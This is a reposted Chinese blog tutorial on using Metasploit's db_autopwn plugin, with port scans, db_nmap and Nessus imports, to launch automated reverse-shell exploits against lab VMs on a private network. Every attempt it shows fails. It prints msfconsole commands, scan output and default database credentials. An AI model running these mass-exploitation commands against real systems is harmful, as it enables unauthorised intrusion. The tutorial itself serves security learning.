zoukankan      html  css  js  c++  java
  • [转]初探Metasploit的自动攻击

    1. 科普Metasploit

     
    以前只是个Back Track操作系统(简称:BT) 下的攻击框架,自成继承了后攻击渗透模块,隐隐有成为攻击平台的趋势。
    我们都戏称它为美少妇,很简单,msf。
    它的强大吧,怎么说了,从前期的信息搜集,到攻击载荷,再到后渗透攻击,都有完善的功能。
    唯一的缺点就是,某些exploit,更新比较慢。
    让我带你们来初探下这位美少妇吧。
     
     

    2. 更新Metasploit

     
    4.5版本的:
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1.        =[ metasploit v4.5.0-dev [core:4.5 api:1.0]  
    2. + -- --=[ 927 exploits - 499 auxiliary - 151 post  
    3. + -- --=[ 251 payloads - 28 encoders - 8 nops  

    4.9版本的:
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1.        =[ metasploit v4.9.0-dev [core:4.9 api:1.0]  
    2. + -- --=[ 1251 exploits - 682 auxiliary - 201 post  
    3. + -- --=[ 326 payloads - 32 encoders - 8 nops  
    更新步骤:
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. 1. apt-get update——>更新源列表  
    2. 2. cd /opt/metasploit后,删除原先的msf3:rm -rf msf3  
    3. 3. git clone --depth=1 git://github.com/rapid7/metasploit-framewok msf3   最后的msf3是我们重新在原来的位置重建msf3  
    4. 4. 修改配置文件:  
    5. 32位系统:/opt/metasploit/ruby/lib/ruby/1.9.1/i686-linux/rbconfig.rb  
    6. 64位系统:/opt/metasploit/ruby/lib/ruby/1.9.1/x86_64-linux/rbconfig.rb  
    7. 定位  CONFIG["LIBRUBYARG_STATIC"] = "-W1, -R, W1, $(libdir) -L$(libdir) -1$(RUBY_SO_NAME)-static"  
    8. 后,删掉  -1$(RUBY_SO_NAME)-static部分  
    9. 4. 进入msf3下,运行./msfupdate等待完成即可  

    注事事项:
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. 1.如果在git那一步,出错,说找不到msf,可能是网络连接不好,本人亲自去github看了下,发现是存在的,后来10分钟后连续敲了相同的命令,clone成功。  
    2. 2.可能会遇到bundle install 的问题,ruby版本不对,没关系,请按照上面的步骤来,就可以了。  


     

    3. 开启Metasploit

     
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. root@bt:~# cd /opt/metasploit/msf3  
    2. root@bt:/opt/metasploit/msf3# msfconsole   
     
     
     

    4.  连接数据库

     
    BT5r3下的msf是需要我们自己去每一次都去连接数据库的。
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. msf < cat /opt/metasploit/config/database.yml   
    2. [*] exec:  cat /opt/metasploit/config/database.yml    
    3.   
    4.   
    5. #  
    6. # These settings are for the database used by the Metasploit Framework  
    7. # unstable tree included in this installer, not the commercial editions.  
    8. #  
    9. development:  
    10.   adapter: "postgresql"  
    11.   database: "msf3dev"  
    12.   username: "msf3"  
    13.   password: "4bfedfc2"  
    14.   port: 7337  
    15.   host: "localhost"  
    16.   pool: 256  
    17.   timeout: 5  
    18.   
    19. production:  
    20.   adapter: "postgresql"  
    21.   database: "msf3dev"  
    22.   username: "msf3"  
    23.   password: "4bfedfc2"  
    24.   port: 7337  
    25.   host: "localhost"  
    26.   pool: 256  
    27.   timeout: 5  
    28. msf > db_connect msf3:4bfedfc2@127.0.0.1:7337/msf3dev     
    29. msf > creds    
    30.   
    31. Credentials  
    32. ===========  
    33.   
    34. host  port  user  pass  type  active?  
    35. ----  ----  ----  ----  ----  -------  
    36.   
    37. [*] Found 0 credentials.  
    38. msf >   

    creds 是查看数据库的命令。
    不过一般都用hosts命令!
     
     
    如果遇到错误:gem install pg
    那么是配置问题,这么修改即可:
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. vi /opt/metasploit/msf3/msfconsole    
    2. change #!/usr/bin/env ruby to #!/opt/metasploit/ruby/bin/ruby in the top of msfconsole.    
    原理是:http://www.fightingman.org/blog/2012/12/04/connect-to-postgresql-via-msfconsole-in-metasploit/#disqus_thread
     
     
    如果遇到错误:没安装postgresql
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. deb http://ubuntu.mirror.cambrium.nl/ubuntu/ precise main universe                                             
    2. # 添加软件源  
    3.   
    4. sudo apt-get install postgresql  
    5. sudo apt-get install rubygems libpq-dev  
    6. apt-get install libreadline-dev  
    7. apt-get install libssl-dev  
    8. apt-get install libpq5  
    9. apt-get install ruby-dev  
    10. sudo apt-get install libpq-dev  
    11. sudo gem install pg  

    如果不会操作数据库:
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. passwd postgres                            修改postgres密码  
    2. su postgres                                进入数据库  
    3. createuser xxx -P                          创建xxx用户(然后输入密码,Y/N一直选择N即可)  
    4. createdb --owner=user xxx                  创建一个XXX数据库  
    5. psql xxx                                   进入xxx数据库  
    6. psql -l                                    列出数据库  
    7. dropuser                                   删除用户  
    8. dropdb                                     删除数据库  


    5. 载入和使用db_autopwn

     
     

    5.0 载入db_autopwn

     
    db_autopwn是msf以前自带的自动攻击模块,但是新版本被取消了,原因不详。
    下载后,cp放到:
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. /opt/metasploit/msf3/plugins/db_autopwn.rb  
    然后进入msf后加载db_autopwn:
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. load db_autopwn  
    而使用的命令是:
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. db_autopwn -r -p -t -e  
    参数:
    -r 是反向连接,-b是正向监听连接
    -p 是更加端口来搞
    -t 是显示exp模块
    -e 是开搞
    因为没有指定IP,所以开搞的对象是hosts数据库的所有IP。
    你最好删除所有不需要扫的IP吧,只留一个或几个你要扫的目标。
     
    额,如果想要指定IP来攻击,我们知道有个参数-I,但是如果在高版本的MSF使用它,会出现以下错误:
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. ERROR: NoMethodError undefined method `range_include?'   
    很明显,MSF已经抛弃了自动攻击,有些函数如range_inlclude()可能也重写或换名了,找不到很正常,如果要用自动攻击,请放弃该参数:-I。
    事实上,本人是不赞同用自动化攻击的,1是动静比扫描要大得多(猜测,毕竟动不动就几百个exp的测试),2是显得太无脑了。
     
    正确的套路:
    可以先初步扫描一下确定目标的大概情况。
    从OS类型,版本,开放的端口,初步确定一些exp,然后慢慢一个个打上去,这才是搞渗透的嘛。
     
     
     

    5.1 msf自带扫描器+db_autopwn

     
     
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. 下载:db_autopwn.rb  
    2. 放到~/Desktop下  
    3. 在终端:  
    4. root@bt:~/Desktop# cp db_autopwn.rb /opt/metasploit/msf3/plugins/  
    5. 在msf:   
    6. msf > load db_autopwn  
    7. msf > db_autopwn -h  
    8.     -h          Display this help text  
    9.     -t          Show all matching exploit modules  
    10.     -x          Select modules based on vulnerability references  
    11.     -p          Select modules based on open ports  
    12.     -e          Launch exploits against all matched targets  
    13.     -r          Use a reverse connect shell  
    14.     -b          Use a bind shell on a random port (default)  
    15.     -q          Disable exploit module output  
    16.     -R  [rank]  Only run modules with a minimal rank  
    17.     -I  [range] Only exploit hosts inside this range  
    18.     -X  [range] Always exclude hosts inside this range  
    19.     -PI [range] Only exploit hosts with these ports open  
    20.     -PX [range] Always exclude hosts with these ports open  
    21.     -m  [regex] Only run modules whose name matches the regex  
    22.     -T  [secs]  Maximum runtime for any exploit in seconds  
    23.   
    24. msf > use auxiliary/scanner/portscan/tcp  
    25. msf > show options #看看那还需要设置什么  
    26. msf > set RHOSTS 192.168.0.113 #113这台机器是win2003,只打了9个补丁,很纯净  
    27. msf > set THREADS 8  #设置线程数8  
    28. msf > run #开启端口扫描  
    29. msf > db_autopwn -t -r -p -e #-r 反弹shell -p 根据ports来搞 -t 显示全部modules  -e 开搞  

    不得不吐槽一下,就这个msf自带扫描器+自动化攻击,连个只打了9个补丁的win2003都拿不下。
    经测试,目前只有XPSP1能够拿下(泪啊),如果对方开了win自带的防火墙,自动攻击就不会有任何反应,此时应该Ctrl+C终止。
     
     
     

    5.2 db_nmap + db+autopwn

     
    什么是nmap?一款很强大的扫描器,可傻瓜化使用,可以用高级命令。它和msf是好基友,msf集成了nmap,然后叫做db_nmap。
    本人总结至此,中断,去总结另一篇博文:初探nmap ,有各个命令的用法和作用,希望可能被当成一个手册去使用。不仅如此,我还转载了一篇nmap实战文:nmap在实战中的高级用法,其实回过头来,发现把命令什么的认知清楚,把重要的命令背下来,自然而然就在实战会用了。所谓的实战高级用法,不过是经验而已。不过总的来说,这篇总结的还算不错。
     
     
    回归主题,我们先把postgreSQL数据库清空一下:
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. hosts -d   
    如果-d后面加IP,就只删除IP,如果没指定,就删除所有IP,有的IP删除起来要多费一些时间(1分钟),有的则是几秒的事。
    db_nmap开扫:
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. db_nmap  -T Aggressive -n -A -v ip  
    -T Aggressive 指定扫描速度:积极,就是-T4的另一个名字。
    -n 不做DNS解析。
     -A == (-O 系统类型 )+ (-sV 服务扫描)。
    -v 显示详细的过程信息。
    这个命令是我最喜欢用的命令了。
     
     
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. msf> hosts -d  
    2.   
    3. Hosts  
    4. =====  
    5.   
    6. address        mac                name  os_name  os_flavor  os_sp  purpose  info  comments  
    7. -------        ---                ----  -------  ---------  -----  -------  ----  --------  
    8. 192.168.0.1    34:08:04:0B:70:E8        Unknown                    device           
    9. 192.168.0.104  CC:78:5F:84:64:27        Unknown                    device           
    10. 192.168.0.105  EC:A8:6B:86:9A:5E        Unknown                    device           
    11. 192.168.0.108                           Unknown                    device           
    12. 192.168.0.110  44:37:E6:A0:96:79        Unknown                    device           
    13. 192.168.0.112  00:0C:29:A3:56:29        Unknown                    device           
    14.   
    15. [*] Deleted 6 hosts  
    16. msf> hosts  
    17.   
    18. Hosts  
    19. =====  
    20.   
    21. address  mac  name  os_name  os_flavor  os_sp  purpose  info  comments  
    22. -------  ---  ----  -------  ---------  -----  -------  ----  --------  
    23.   
    24. msf> db_nmap -sS -A -T4 192.168.0.112  
    25. [*] Nmap: Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2014-01-08 13:51 CST  
    26. [*] Nmap: Nmap scan report for 192.168.0.112  
    27. [*] Nmap: Host is up (0.00047s latency).  
    28. [*] Nmap: Not shown: 997 closed ports  
    29. [*] Nmap: PORT    STATE SERVICE      VERSION  
    30. [*] Nmap: 135/tcp open  msrpc        Microsoft Windows RPC  
    31. [*] Nmap: 139/tcp open  netbios-ssn  
    32. [*] Nmap: 445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds  
    33. [*] Nmap: MAC Address: 00:0C:29:A3:56:29 (VMware)  
    34. [*] Nmap: Device type: general purpose  
    35. [*] Nmap: Running: Microsoft Windows XP  
    36. [*] Nmap: OS CPE: cpe:/o:microsoft:windows_xp  
    37. [*] Nmap: OS details: Microsoft Windows XP SP2 or SP3  
    38. [*] Nmap: Network Distance: 1 hop  
    39. [*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows  
    40. [*] Nmap: Host script results:  
    41. [*] Nmap: |_nbstat: NetBIOS name: EMASTER-A2C3258, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:a3:56:29 (VMware)  
    42. [*] Nmap: | smb-security-mode:  
    43. [*] Nmap: |   Account that was used for smb scripts: guest  
    44. [*] Nmap: |   User-level authentication  
    45. [*] Nmap: |   SMB Security: Challenge/response passwords supported  
    46. [*] Nmap: |_  Message signing disabled (dangerous, but default)  
    47. [*] Nmap: |_smbv2-enabled: Server doesn't support SMBv2 protocol  
    48. [*] Nmap: | smb-os-discovery:  
    49. [*] Nmap: |   OS: Windows XP (Windows 2000 LAN Manager)  
    50. [*] Nmap: |   Computer name: emaster-a2c3258  
    51. [*] Nmap: |   NetBIOS computer name: EMASTER-A2C3258  
    52. [*] Nmap: |   Workgroup: WORKGROUP  
    53. [*] Nmap: |_  System time: 2014-01-08 13:51:25 UTC+8  
    54. [*] Nmap: TRACEROUTE  
    55. [*] Nmap: HOP RTT     ADDRESS  
    56. [*] Nmap: 1   0.47 ms 192.168.0.112  
    57. [*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .  
    58. [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.14 seconds  
    59. msf> hosts  
    60.   
    61. Hosts  
    62. =====  
    63.   
    64. address        mac                name  os_name            os_flavor  os_sp  purpose  info  comments  
    65. -------        ---                ----  -------            ---------  -----  -------  ----  --------  
    66. 192.168.0.112  00:0C:29:A3:56:29        Microsoft Windows  XP                device           
    67.   
    68. msf> db_autopwn -p -t -r -e   
     
    再科普一次:
    -p 根据端口
    -t 显示module名
    -r 反弹shell
    -e 开搞

    额,这个依旧是 0 sessions!
    XP sp3 都拿不下额。。

    不吐槽了,毕竟自动攻击本来就不推荐,而且在强调一次,动作过大!
     
     
     
     

    5.3 Nessus+db_autopwn

     
    Nessus是目前最流行的扫描器之一,功能强大。
    因为是三种中最牛逼的一个,所以放到最后讲。
    BT5r3下如何安装Nessus?
     
     
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. #启动nessus服务  
    2. root@bt:~# /etc/init.d/nessusd start  
    3. #启动apache服务  
    4. root@bt:~# /etc/init.d/apache2 start  
    5. #进入nessus页面  
    6. 通过https://bt:8834或者https://127.0.0.1:8834访问。  
    7. 注意是https。https://localhost:8834是访问不了的。  
    8. 密码:root/toor  
     
    nessus的操作:
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. 1、新建一个要扫的内容策略如:basic scan(Policy)  
    2. 2、new scan  
    3. 3、export 结果到1.nessus  
    4.    
    然后用db_import把扫描导入msf:
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. msf> hosts -d  
    2.   
    3. Hosts  
    4. =====  
    5.   
    6. address        mac                name           os_name            os_flavor  os_sp  purpose  info  comments  
    7. -------        ---                ----           -------            ---------  -----  -------  ----  --------  
    8. 192.168.0.112  00:0C:29:A3:56:29  192.168.0.112  Microsoft Windows  XP                device           
    9.   
    10. [*] Deleted 1 hosts  
    11. msf> db_import /root/Desktop/1.nessus   
    12. [*] Importing 'Nessus XML (v2)' data  
    13. [*] Importing host 192.168.0.112  
    14. [*] Successfully imported /root/Desktop/1.nessus  
    15. msf> hosts  
    16.   
    17. Hosts  
    18. =====  
    19.   
    20. address        mac                name           os_name                               os_flavor  os_sp  purpose  info  comments  
    21. -------        ---                ----           -------                               ---------  -----  -------  ----  --------  
    22. 192.168.0.112  00:0C:29:A3:56:29  192.168.0.112  EMC CLARiiON AX150SCi SAN Disk Array                    device           
    23.   
    24. msf> db_autopwn -p -r -t -e  


    好吧,这么强大的扫描器和这么强大的利用平台,结合在一起,是0 sessions,只能证明我太傻比了,还不会灵活应用。
    但是攻击手法应该就是这样子了。
     
    本次的自动攻击就到这,再次强调,用自动攻击都是战五渣,真正的手法的都是自己找弱点,然后寻找合适的exp,然后exploit。
    本文就是科普下自动攻击的手法,用来搞搞XPsp1还是没问题的。
     
     
     
     
     
    emaster,关注信息安全的胖子
    欢迎转载,但转载请注明地址:http://blog.csdn.net/emaste_r/article/details/17676927
  • 相关阅读:
    MySQL修改root密码的多种方法
    AES和RSA算法的demo代码
    网卡
    Socket
    Opentracing 链路追踪
    TCP连接三次握手
    MongoDB 使用B树
    MySQL的DDL、DML、DCL
    MySQL 数据同步
    SSO(单点登录)与CAS
  • 原文地址:https://www.cnblogs.com/jasonHome/p/6060467.html
Copyright © 2011-2022 走看看